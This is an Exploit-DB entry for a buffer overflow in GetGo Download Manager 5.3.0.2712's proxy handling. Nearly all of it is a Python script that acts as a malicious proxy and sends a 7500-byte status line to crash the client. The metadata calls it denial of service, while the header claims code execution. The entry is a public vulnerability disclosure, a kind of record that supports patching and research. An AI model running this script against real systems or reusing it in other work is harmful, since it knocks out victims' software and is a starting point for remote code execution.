GetGo Download Manager 5.3.0.2712 - 'Proxy' Buffer Overflow

EDB-ID:

43432

CVE:

N/A

Author:

devcoinfet

Type:

dos

Platform:

Windows

Published:

2018-01-05

 # Exploit Title: Buffer overflow vulnerability in GetGo Download Manager proxy options 5.3.0.2712
# Date: 01-02-2018
# Tested on Windows 8 64 bits 
# Exploit Author: devcoinfet
# Contact: https://twitter.com/wabefet
# Software Link: http://www.getgosoft.com/getgodm/ 
# Category: webapps
# Attack Type: Remote
# Impact: Code Execution 
 
#to be vulnerable victim must have a  proxy selected that will maliciously return data in response
#select proxy ip of host running this script incase You  have vm running the software
#set port of proxy on getgo under proxy settings as well now when you download any page
#or any file the program incorrectly parses the response and passes request to malicious host triggering overlfow

default_evilbuffer = "A" * 7500

def main():
    ip = "10.10.10.6"
    port = 8055
    fuzz_test(ip,default_evilbuffer,port)
    
def fuzz_test(ip,payload,port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((ip, port))
    s.listen(1)
    print "\n[+] Listening on %d ..." % port
 
    cl, addr = s.accept()
    print "[+] Connection accepted from %s" % addr[0]
    print "[+] Pushing fuzz test to %s" % addr[0]
 
    buffer = "HTTP/1.1 200 " + payload + "\r\n"
 
    print cl.recv(1000)
    cl.send(buffer)
    print "[+] Sending Fuzzed buffer From Mailicious Proxy: OK\n"
    print "[+] Payload type Default Buffer of 7500 A's"
 
    sleep(3)
    cl.close()
    s.close()
 
if __name__ == '__main__':
    import socket
    from time import sleep
    main()